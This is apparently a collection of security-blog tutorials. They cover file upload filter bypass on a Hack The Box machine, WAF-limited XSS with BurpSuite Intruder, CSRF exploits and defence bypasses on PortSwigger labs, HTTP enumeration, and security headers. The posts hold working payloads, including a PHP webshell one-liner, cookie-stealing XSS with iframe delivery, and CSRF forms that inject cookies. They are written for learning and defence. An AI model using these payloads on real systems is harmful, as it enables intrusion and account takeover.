Hacking Tutorial

File Upload Bypass Techniques

In this guide, I’m going to show you one method to consider when you come across a file upload that only accepts PNG files. This method could theoretically be used for other file-types as well, but I’ll demonstrate uploading a PHP file on a file upload feature that “should” only allow PNG files on Popcorn from Hack The Box.

Note: This post does not intend to serve as a walkthrough or write-up for Popcorn at HackTheBox.

Table of Contents

  • Setting the Stage
  • Getting Malicious and Performing the Bypass
  • Using the Webshell
  • Closing Thoughts

Setting the Stage

Before diving in, let’s talk about where the vulnerable functionality exists. Popcorn is running an application called Torrent Hoster that allows for us to upload our own torrent files. This upload functionality is found at the following URL.

To give it a test upload, we’ll download a torrent for a Kali image from https://www.kali.org/downloads/ and upload that here.

Once the torrent file is saved, we’ll upload it to Torrent Hoster.

Once the torrent is uploaded, we’re taken to a page that shows us the default ‘No Screenshot’ image.

For fun, we’ll click Edit this torrent and upload our own image as a PNG file.

So here’s the thing. So far, we’ve found two file upload features on this web application. The first was to upload a .TORRENT file, and the second was to upload a .PNG file as a screenshot of the torrent. This is great, but how can this be exploited? Well to start, the Wappalyzer Firefox extension shows us that Popcorn is running PHP. What if instead of uploading a .TORRENT or .PNG, we tried to upload a .PHP webshell? Could we gain code execution?

Uploading a file is only any good if we’re able to execute the contents once its uploaded. Luckily for us, the uploaded PNG files are accessible externally from the following address.

Since we have a way to execute the uploaded PNG files, we’ll target this file upload as our exploitation path. To see if PHP files are even allowed without any bypass technique, let’s create a quick example PHP that we can attempt to upload. To create the PHP file, I just used the following command.

echo 'hello world' > test.php

Trying to upload test.php immediately returns an error.

So how do we bypass this and get our PHP uploaded?

Getting Malicious and Performing the Bypass

Let’s start by creating a malicious PHP file that we actually want to upload, since our test.php isn’t really going to do us any good. I like to use this PHP webshell one-liner to create webshell.php.

<?php system($_GET['cmd']); ?>

With this file created, let’s spin up BurpSuite and route our traffic through it. With Burp running, I’m going to attempt to upload webshell.php so we can look at the request.

Obviously this will fail to upload as well, just like the previous PHP file failed to upload. While we’re here, let’s leave Burp running and upload a valid PNG file again so we can compare the two requests within BurpSuite and spot the difference.

Within the Burp proxy HTTP History tab, we’re able to see both requests.

At this time, we’re not sure what checks the web application is performing to verify PNG uploads. It would be simple enough to try a bypass that just changes the filename of “webshell.php” to “webshell.png.php”, so lets send our PHP request to Repeater and see what happens when we make this simple modification.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>

That didn’t work. Alright, so we need to do something more. In addition to the above change, let’s also adjust the Content-Type to match what the valid PNG file had.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/jpeg

Nice! Looks like we got that to work out. But what if it didn’t? We could take this even further by extracting the “Magic Bytes” from the actual PNG upload, and pasting them before the beginning of our PHP script. An example of that would look like this.

Using the Webshell

Now that we have our malicous PHP file planted, we can navigate to the following URL and figure out what name it was assigned.

On this page, let’s browse to the PHP file and add a parameter called cmd that contains a value of the command we wish to execute.

Nice! We have command execution.

Closing Thoughts

File uploads are one of the most difficult exploitation paths to harden, which make for great targets for hackers. When presented with a file upload that only accepts certain file extensions, such as PNG, always try the following:

  • Appending the name of the file extension in the filename parameter.
  • Adjusting the content-type to match that of an accepted file-type.
  • Include magic bytes for an accepted file.

We were able to leverage Popcorn on Hack the Box to demonstrate these techniques. I hope you found this guide informational, and if so, please feel free to check out some of my other publications.

Hacking Tutorial, Pentesting

Bypassing XSS Defenses Part 1: Finding Allowed Tags and Attributes

This post intends to serve as a guide for a common bypass technique when you’re up against a web application firewall (WAF). In the event that the WAF limits what tags and attributes are allowed to be passed, we can use BurpSuite’s Intruder functionality to learn which tags are allowed.

Table of Contents:

  • Setting the stage.
  • Identifying which tags are allowed.
  • Identifying which events are allowed.
  • Putting the pieces together.

Setting the stage.

In our example, we have a webapp with a vulnerable search field. To begin testing, we start out with a simple XSS payload that will display the session cookie of the user when it fails to load a bad image path.

<img src=1 onerror=alert(document.cookie)>

However, the webserver responds with an error stating we’re using a tag that isn’t allowed.

Identifying which tags are allowed.

If we’re going to exploit this webapp, we need to first find out what tags are allowed in the search field. To do this, we can leverage BurpSuite’s Intruder functionality to brute force the page with every possible JavaScript tag and see which one(s) respond with a success message.

Let’s spin up BurpSuite and capture a web request with a generic search term.

With our request captured, let’s send this off to Intruder.

To begin, lets Clear the default payload positions BurpSuite selected for us.

Now we will replace the search term with <> to open/close the script tags that we wish to send to the application. Place the cursor between the angle brackets and click Add § twice, to create a payload position. The value of the search term should now look like: <§§>

Now that we have the position set, we need to provide our list of payloads. Head over to PortSwigger’s XSS cheat sheet and click Copy tags to clipboard.

With a list of all tags copied to your clipboard, head back to Intruder and select the Payload tab. Then click Paste.

Everything should now be in place! Let’s click Start Attack and allow time for all of the requests to be made.

Once the attack finishes, we see that the Body tag returns a status code of 200. This indicates that the WAF allows this tag and perhaps we can use it for our exploitation process.

Identifying which events are allowed.

Now that we know we can use the body tag, we need to know which events we can use. We’ll repeat the same process we used above, but this time, we’ll Copy events to clipboard from the PortSwigger’s XSS cheat sheet.

Heading back to Intruder, we’ll start by adjusting our list of Payloads. Click Clear to remove the existing list.

Now we can Paste our list of events.

Let’s head over to the Positions tab and adjust our search term to <body%20=1>. Place your cursor before the equal sign and then click Add § twice to create the payload position. The value of the search term should now look like: <body%20§§=1>

This will cause BurpSuite to send requests to the search field that look like

/?search=<body onactivate=1>
/?search=<body onafterprint=1>
/?search=<body onafterscriptexecute=1>

I’m happy with that. We’ll Start Attack.

Observe the results, and notice that the only payload returning a 200 response is onresize.

Putting the pieces together.

So what do we know? Well, we know that we can use the body tag along with the onresize element. Armed with this knowledge, what would happen if we were to inject JavaScript code that displayed the users session cookie when the window is resized? Could we craft something that automatically resizes the window to trigger this for us?

As an attacker, lets spin up a malicious webpage that includes a reference to the vulnerable webapp within an iframe.

<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=alert(document.cookie)>" onload=this.style.width='100px'>

Let’s break down what we’re doing.

  1. We begin by inserting an iframe to our webpage that will display content from the vulnerable webapp.
  2. We then inject a search query that will generate an alert containing the victim’s session cookie when the element onresize is called within the body tag.
  3. We then force the iframe to resize itself to a width of 100px upon loading.
  4. When the victim browses to our malicious website, this iframe will be loaded in their browser, resized, and then the session cookie will be displayed back to them.

Now this is really just useful as a proof of concept, because this particular example doesn’t provide the attacker with the session cookie. The finished product would look something like this after including HTML encoding.

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E"onload=this.style.width='100px'>

The primary goal for this post was to showcase BurpSuite Intruder’s ability to bruteforce a webserver and identify the attack surface. I hope you found it useful!

Pentesting, Tips & Tricks

Enumerating HTTP Ports (80, 443, 8080, etc.)

When enumerating, we want to be able to identify the software/versions that are fulfilling the following roles. This document intends to serve as a guide for hunting for the answers.

  • Web Application – WordPress, CMS, Drupal, etc.
  • Web Technologies – Node.js, PHP, Java, etc.
  • Web Server – Apache, IIS, Nginx, etc.
  • Database – MySQL, MariaDB, PostgreSQL, etc.
  • OS – Ubuntu Linux, Windows Server, etc.

Using Curl

Pulling out internal/external links from source code.

curl <address> -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'

Strip out the HTML code from source-code of webpage.

curl <address> -s -L | html2text -width '99' | uniq

Check for contents of robots.txt.

curl <address>/robots.txt -s | html2text

Using Nikto

To perform a scan.

sudo nikto -host=http://<address>

Using Gobuster

First, lets start with an initial scan on the address using a default wordlist. We’ll have it return results for most response codes.

For invalid HTTPS certificates, you can include -k to any of these commands to bypass cert checks.

gobuster dir -u http://<address>/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e

We can also leverage the following wordlist to look for CGI URLs.

gobuster dir -u http://<address>/ -w /usr/share/dirb/wordlists/vulns/cgis.txt -s '200,204,301,302,307,403,500' -e

Note: If you start getting spammed with a particular response code, you can remove that from the -s flag.

Using Dirsearch

This is a tool you can get from Github. It provides much of the same functionality as Gobuster.

The following syntax will run the tool to enumerate php and html files. It will exclude responses w/ code 400, 401, and 403.

python3 dirsearch.py -u http://url.tld -e php,html -x 400,401,403

Using WFuzz

Subdomain Enumeration. Check out the post I made on this topic over at https://infinitelogins.com/2020/09/02/bruteforcing-subdomains-wfuzz/

Valid User Enumeration. Check out the post I made on this topic over at https://infinitelogins.com/2020/09/07/bruteforcing-usernames-w-wfuzz/

Hacking Tutorial

Exploiting Cross Site Request Forgery (CSRF) & Bypassing Defenses

Wondering what Cross Site Request Forgery is? Go check out my previous post on this topic at Let’s Talk Basics About Cross Site Request Forgery (CSRF).

Ready to learn more about how to exploit it? You’re in the right place. The concepts and examples shown in this post were taken from PortSwigger’s WebSecurity Academy.

Table of Contents

  • What areas in a webapp do you look to exploit with CSRF?
  • What are some basic bypass techniques?
  • What about some more advanced bypass techniques?
    • Tokens Tied to Non-Session Cookie
    • “Double Submit” CSRF Token method.
    • Referer Validation Dependent on Present Referer Header
    • Referer Validation Only Checks if Domain Name is Present

What areas in a webapp do you look to exploit with CSRF?

Anywhere there might be a PUT request on the back-end. You are able to exploit this with a GET request as well, but the odds of finding this in the wild are very small as most devs know better by now.

  • Check the account page and see if a password change/reset might be vulnerable.
  • Perhaps a place where you can input your own email to send a recovery link?
  • Then I start looking for input fields to input XSS as they are sometimes chainable. For example, if an admin can post on a message board, but nobody else can, perhaps we can use XSRF to post a XSS payload on the message board for us.

What are some basic bypass techniques?

Since most mitigation techniques have to do with placing a unique token, bypassing this token requirement may be simple if they do not implement good validation on the other side.

  • What happens if we delete the value within the token parameter?
  • What happens if we delete the entire parameter including the value?
  • What happens if we replace the existing token with one of a different value that has the same length?
  • What happens if we convert our POST request into a GET request?Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

Basic Exploit Code:

When there are no defenses in play, or one of the defense methods listed above, it is relatively easy to exploit CSRF using a simple HTML template. Obviously you’ll want to replace the placeholders with the accurate values. Host this code up on your exploit server and wait for the victim to browse to the page:

<form method="$method" action="$url">
     <input type="hidden" name="$param1name" value="$param1value">

What about some more advanced bypass techniques?

I get it, you’re over the basics and you’re up against a target that has some more difficult protections in place. Let’s up our game a bit, shall we?

Bypassing CSRF Protections: Tokens Tied to Non-Session Cookie

Some applications tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Proof of Concept:

In our example, we have two different user accounts to sign in with. We’ll first log in as the username Wiener and issue a “Change Email” request. Let’s take a look at a legitimate request first and observe that the webserver responds with a 302 message.

Notice how modifying the session cookie will return an Unauthorized error, indicating that we’ve been signed out.

However, modifying the csrfKey cookie returns a “Invalid CSRF Token” message. This suggests that the csrfKey cookie may not be strictly tied to the session.

To prove our theory, let’s spin up a incognito window and sign in with a 2nd user account. Let’s issue a legitimate “Change Email” request, but lets swap the csrfKey cookie and csrf parameter from the first account to the second account.

We see that the request went through with a successful 302 response. If proper validation was in place, the csrfKey cookie would be tied to the session cookie, causing this example to be rejected.

Exploit Code:

To exploit this vulnerability, we just need a way to inject a csrfKey cookie with a value that we control into the victim’s browser. Luckily for us, our example site’s search feature allows us to inject cookies.

Line 5 includes our cookie injection that will create a csrf cookie with a valid value that pairs with the csrf parameter in Line 3.

<form method="POST" action="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
     <input type="hidden" name="csrf" value="AtwwO8ZSKpgUrBEkqBMIieJrCACVavFz">
 <img src="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=65EfxxiuOkDcp12bXTGK9eAMzxfGFasr " onerror="document.forms[0].submit()"> 

Bypassing CSRF Protections: “Double Submit” CSRF Token method.

Some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state.

Example of vulnerable request:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa


In the above request, it’s important to notice how the csrf session token matches the csrf parameter. When a “double submit” vulnerability exists, we simply need to inject a cookie that matches whatever csrf parameter we’re going to forge as well.

Exploit code:

In our example, the search feature on the vulnerable website allows the ability for us to inject a cookie of our choosing within the victim’s browser. Line 5 shows us injecting a csrf cookie with a value of fake. Line 3 shows us also forging a request with paramater csrf containing a matching value of fake.

<form method="POST" action="https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hax@hacked.com">
     <input type="hidden" name="csrf" value="fake">
<img src=" https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake " onerror="document.forms[0].submit();"/> 

The end result is we’re able to update the users email to be hax@hacked.com by bypassing the “double submit” CSRF mitigation technique.

Bypassing CSRF Protections: Referer Validation Dependent on Present Referer Header

Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted. What were to happen if we were to delete the referer header from the request?

Proof of concept:

In the following example, the “Change Email” forum validates the Referer header when present to ensure the request originated from the same domain. This is what a legitimate request looks like.

Notice how the validation kicks in and will reject the request when we modify the Referer header to originate from a different domain, such as fake.com.

However, deleting the Referer header in its entirety allows the request to go through.

Exploit code:

Line 4 includes the bypass to strip out the Referer header from our request.

<form method="POST" action="https://ac891f331edd33ed8007ab8500750000.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
     <meta name="referrer" content="no-referrer"> 

Bypassing CSRF Protections: Referer Validation Only Checks if Domain Name is Present

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL.

Proof of concept:

Like before, we see that a legitimate request from the website returns a valid 302 response.

Also like before, modifying the Referer header to contain a domain name that differs from the legitimate one will force the server to reject the request.

However, we’re able to get a successful 302 response by simply adding web-security-academy.net as a subdomain to fake.com.

Exploit Code:

Line 5 contains the piece that allows us to modify what URL and Referer the response comes from.

<form method="POST" action="https://acc01f071ff796db8098277e00a00038.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
      history.pushState("", "", "/?https://acc01f071ff796db8098277e00a00038.web-security-academy.net.fake.com/email") 

Tips & Tricks

Setting Up BurpSuite

Once Burp loads up, there are a few things we need to configure to make our lives easier.

Installing and Configuring FoxyProxy

First, to make our lives easier, let’s install the Firefox add-in for FoxyProxy.

With the add-in installed, let’s head into the Options.

Now we can Add a new entry.

Let’s create the New Entry with the following.

Title: Burp
Proxy IP:
Port: 8080

Click Save.

With this in place, we can easily route traffic in/out of Burp without having to dive deep into Firefox’s settings.

Installing the Burp’s Certificate in Firefox

Now that we have the proxy configured, we’ll want to import Burp’s certificate so that we do not receive certificate errors while browsing the internet.

Let’s start by routing our traffic through our proxy and navigating to the following URL.


Now we can click on CA Certificate to download the necessary der file.

With the cert file saved, lets head into Preferences and click on Options.

Head over to the Privacy settings, find the Certificates section, and click on View Certificates.

In the Certificate Manager window, find the Authorities tab. Then, select Import.

Browse to the .der file you downloaded earlier.

Enable Trust this CA to identify websites, and then click OK.

Disabling Firefox’s Captive Portal

With Firefox’s default configuration, you will see a lot of requests to http://detectportal.firefox.com.

To get rid of this, let’s head over to about:config and click Accept the Risk and Continue.

Search for network.captive-portal-service, and set the value to False.

General Blog

Let’s Talk Basics About Cross Site Request Forgery (CSRF)

It became apparent to me that my understanding of CSRF was lacking, or uh, basically non-existent. This post aims to fix that! Come learn about it along with me.

Note: This particular post is NOT a hacking tutorial on abusing CSRF, though I’m sure I will post one in the near future (make sure to subscribe or hit up my Twitter feed so you’ll know when that comes out).

What is Cross Site Request Forgery?

Well we know that it is consistently in the OWASP Top 10 for web application vulnerabilities, but what does it actually do?

CSRF is when another website is able to make a request, as a victim user, to the target website. What does that mean? Well, it means that an attacker may trick the users of a web application into performing unwanted tasks, such as transferring funds, changing their email address, deleting their account, posting a comment, etc.

Let’s say there is a web application running on vulnerable.com (please don’t try to actually visit this site, I have no idea what is there and whether or not its a valid webpage). In our fake scenario, vulnerable.com hosts a simple web application where you can create an account and post a comment on a text board. There is also a page for you to be able to delete your account. Normally, if an end-user wanted to actually delete their account, they would browse to this page, click the confirmation button, and then a request would be made to the webserver that looks something like this:

POST /delete_my_account HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=d42be1j5

delete = 1

The key items to note about this is that there is a POST request to vulnerable.com/delete_my_account for a specific SessionID. Now in a perfect world, the only person who would initate this request would be the actual end-user behind that SessionID, but what if us — evil hackers — wanted to delete the account for them without their consent?

This is where CSRF comes in. Let’s, as attackers, spin up a malicious webpage at evil.com (same disclaimer as before) and add code so that we initiate that same request mentioned above once a user accesses our webpage. If vulnerable.com doesn’t have protections in place, we could leverage CSRF to send the same POST request and delete user accounts on a completely separate website without the users consent.

So how do we mitigate this?

There are a number of mitigation techniques.

Add a hash (session id, function name, service-side secret) to all forms.
This method involves including a random, unique identifier to webforms when a user accesses the page. The idea behind this technique is that attack webservers will not possibly be able to know what unique identifier is being used for the victim user on the target website. This means that even if they attempt a CSRF attack, the target website will notice that the unique identifier is missing and reject the POST request.

Checking the Referrer header in the client’s HTTP request.
When a web request is submitted, there is typically a referrer header added that specifies where that web request originated. Ensuring that the request has come from the original site means that attacks from other sites will not function.

Note: This method may not always be reliable for web-developers if the user utilizes ad-blocker or additional privacy protection methods, as the referrer header on a valid web request may indicate the request came from one of these third parties.

Signing off of webpages when not in use.
While CSRF is really a problem with the web application, and not the end user utilizing the webpage, users can protect themselves by signing out or killing any active sessions for their sensitive webapps BEFORE browsing the web or accessing a different page.

General Blog

Have a WebApp? Here Are Three HTTP Headers Leaking Your Server Information

This post intends to discuss the three most common HTTP headers that leak server information. While these headers don’t do anything to help protect against attacks, they can be used by attackers to enumerate the underlying technologies behind the application during the early enumeration phase of an attack.

If you’d like to learn more about HTTP headers that can help mitigate a range of attack vectors, check out my previous post What are Web Application HTTP Security Headers? When do you use them?


What does this header do?
This header contains information about the software used by the back-end server (type and version).


We’re able to identify that this webserver is running IIS 8.5 based on the Server header.


What does this header do?
It contains the details of the web framework or programming language used in the web application. 


We’re able to identify example what PHP version is being used on this webserver by it’s X-Powered-By header.


What does this header do?
As the name suggests, it shows the version details of the ASP .NET framework. This information may help an adversary to fine-tune its attack based on the framework and its version.


We’re able to identify exactly what ASP .NET version is running on this webserver based on the X-AspNet-Version header.

Why do we care? What can do we do about it?

Why is this dangerous?
Because these headers can leak software information, this allows an attacker to know what exact web technologies are in place and what their associated version(s) are. Armed with this information, they can then hunt for public known exploits on those versions.

What is your recommendation?
The server information can be masked by re-configuring the webserver to read something other than the actual server technologies in place.

General Blog

What are Web Application HTTP Security Headers? When do you use them?

This post intends to serve as a guide for some of the most common HTTP Headers web applications use to prevent exploitation of potential vulnerabilities. Within this article, you will discover the name of the various headers, along with their use case and various configuration options.

If you’d like to learn more about which headers may be leaking information about the software running on your webserver, check out my other post titled Have a WebApp? Here Are Three HTTP Headers Leaking Your Server Information.

Table of Contents:

  • Strict-Transport-Security
  • Content-Security-Policy
  • Access-Control-Allow-Origin
  • Set-Cookie
  • X-Frame-Options
  • X-XSS-Protection
  • Additional Resources


What does this header do?
HTTP Strict Transport Security instructs the browser to access the webserver over HTTPS only.

Why would we use this?
By enforcing the use of HTTPS, we’re ensuring that users accessing the web page has a secure, encrypted connection. This can also help users notice whether or not they are victim to man in the middle attacks if they receive certificate errors when a valid certificate is in place on the webpage.

What values can we set this header to?
There are 3 directives for this header:

  • Max-Age : Default value of 31536000. This is the maximum age (time) for which the header is valid. The server updates this time with every new response to prevent it from expiring.
  • IncludeSubDomains : This applies control over subdomains of the website as well.
  • Preload : This is a list that is maintained by Google. Websites on this list will automatically have HTTP enforced in the Google Chrome browser.


What does this header do?
Content Security Policy is used to instruct the browser to load only the allowed content defined in the policy. This uses a whitelisting approach which tells the browser from where to load the images, scripts, CSS, applets, etc.

Why would we use this?
If implemented properly, we would be able to prevent exploitation of Cross-Site Scripting (XSS), Clickjacking, and HTML Injection attacks. We do this by carefully specifying where content can be loaded from, which hopefully isn’t a location that attackers have control of.

What values can we set this header to?
The values can be defined with the following directives:

  • default-src
  • script-src
  • media-src
  • img-src

Content-Security-Policy: default-src 'self'; script-src runscript.com; media-src online123.com online321.com; img-src *;

This is would be interpreted by the browser as:

  • default-src 'self' : Load everything from the current domain.
  • script-src runscript.com : Scripts can only be loaded from runscript.com
  • media-src online123.com online321.com : Media can only be loaded from online123.com and online321.com.
  • img-src * : Images can be loaded from anywhere.


What does this header do?
This header indicates whether the response can be shared with requesting code from the given origin.

Why would we use this?
This is used to take a whitelisting approach on which third parties are allowed to access a given resource. For example, if site ABC wants to access a resource on site XYZ (and is allowed to), XYZ will respond with a Access-Control-Allow-Origin header with the address of site ABC to instruct the browser that this is allowed.

What values can we set this header to?
The following directives can be used:

  • * : For requests without credentials, you can specify a wildcard to tell browsers to allow requesting code from any origin to access the resource.
  • <origin> : Specifics a single origin.
  • null : This should not be used.


What does this header do?
This response header is used to send cookies from the server to the user agent, so the user agent can send them back to the server later. One important use of cookies is to track a user session, and can oftentimes contain sensitive information. Because of this, there are additional attributes that we can set for securing the cookies.

Why would we use the additional attributes?
Using these additional attributes can help protect the cookies against unauthorized access.

What values can we apply?
While there are many attributes for a cookie, the following are most important from a security perspective.

  • Secure : A cookie set with this attribute will only be sent over HTTPS and not over the clear-text HTTP protocol (which is susceptible to eavesdropping).
  • HTTPOnly : The browser will not permit JavaScript code to access the contents of the cookies set with this attribute. This helps in mitigating session hijacking through


What does this header do?
This header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe> or <object>.

Why would we use this?
Use this to avoid clickjacking attacks. Without clickjacking protections, an adversary could trick a user to access a malicious website which will load the target application into an invisible iframe. When the user clicks on the malicious application (ex. a web-based game), the clicks will be ‘stolen’ and sent to the target application (Clickjacking). As a result, the user will click on the legitimate application without his consent, which could result in performing some unwanted actions (ex. delete an account, etc).

What values can we set this header to?
There are 3 directives we can use:

  • deny : This will not allow the page to be loaded in a frame on any website.
  • same-origin : This will allow the page to be loaded in a frame only if the origin frame is same.
  • allow-from uri : The frame can only be displayed in a frame on the specified domain/origin.


What does this header do?
This header enables the Cross-site scripting (XSS) filter built into most recent web browsers.

Why would we use this?
The sole purpose is to protect against Cross-Site Scripting (XSS) attacks.

What values can we set this header to?
There are 3-modes that we can set this header to:

  • 0; : Disables the XSS filter.
  • 1; : Enables the filter. If an attack is detected, the browser will sanitize the content of the page in order to block the script execution.
  • 1; mode=block : Will prevent the rendering of the page if an XSS attack is detected.

Additional Resources

This is nowhere near an exhaustive list of the different security headers that you should be using. Should you like to learn more or dive into this topic deeper, I’d recommend checking out the following websites:

Essential HTTP Headers for Securing Your Web Server

Mozilla’s HTTP Headers Documentation